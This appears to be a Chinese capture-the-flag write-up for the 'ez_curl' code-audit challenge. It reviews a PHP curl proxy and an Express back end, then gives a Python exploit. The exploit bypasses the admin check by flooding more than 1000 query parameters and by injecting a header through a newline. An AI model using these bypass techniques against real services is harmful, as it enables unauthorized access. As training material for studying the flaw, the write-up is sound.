ez_curl【代码审计】
ez_curl【代码审计】[难度:4]
-
题目描述
代码审计类题目,附上代码:
<?php highlight_file(__FILE__); $url = 'http://back-end:3000/flag?'; **$input = file_get_contents('php://input');** **$headers = (array)json_decode($input)->headers;** for($i = 0; $i < count($headers); $i++){ $offset = stripos($headers[$i], ':'); $key = substr($headers[$i], 0, $offset); $value = substr($headers[$i], $offset + 1); if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){ die('try hard'); } } $params = (array)json_decode($input)->params; $url .= http_build_query($params); **$url .= '&admin=false';** $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000); curl_setopt($ch, CURLOPT_NOBODY, FALSE); $result = curl_exec($ch); curl_close($ch); echo $result; try hard1
第四行有file_get_contents(’php://input’),文件包含,当Content-Type为application/x-www-form-urlencoded且提交方法是POST方法时,$_POST数据与php://input数据是一致的。
第五行json_decode将请求头解析为json格式,如
{"headers": ["admin:true"]}
// 附件,app.js const express = require('express'); const app = express(); const port = 3000; const flag = process.env.flag; app.get('/flag', (req, res) => { if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){ res.send(flag); }else{ res.send('try hard'); } }); app.listen({ port: port , host: '0.0.0.0'});
当收到请求之后,app.js判断请求者是否为admin,判断的逻辑为:如果参数admin字段不包含false并且请求头中admin字段包含true,则判为admin。但是在php代码中可以看到,每次url都要拼接'&admin=false'。
-
漏洞利用
- express的parameterLimit默认为1000,添加1000多个参数把最后拼接的参数给挤掉
- 根据RFC 7230(HTTP/1.1协议的定义)的规定,规定了 field-name 是由一个或多个打印的 ASCII 字符组成,不包括分隔符,包括空格。因此,如果一个 field-name 的第一个字符使用换行分隔,那么这个 HTTP header 是非法的,应该被服务器或客户端忽略或拒绝,然而,Node.js 在处理这类情况时通常是宽容的。
-
题解脚本
最终参考的exp如下:
import json import requests from abc import ABC url = "http://61.147.171.105:61319/" datas = {"headers": ["xx:xx\nadmin: true", "Content-Type: application/json"], "params": {"admin": "true"}} //在每次循环中, //代码向 datas["params"] 字典中添加一个新的键值对, //键的格式是 "x" + str(i),值是 i for i in range(1020): datas["params"]["x" + str(i)] = i headers = { "Content-Type": "application/json" } json1 = json.dumps(datas) print(json1) resp = requests.post(url, headers=headers, data=json1) with open('ex_curl.txt', 'ab') as file: file.write(resp.content)
Yuanyy:励志成为安全大牛的安全大白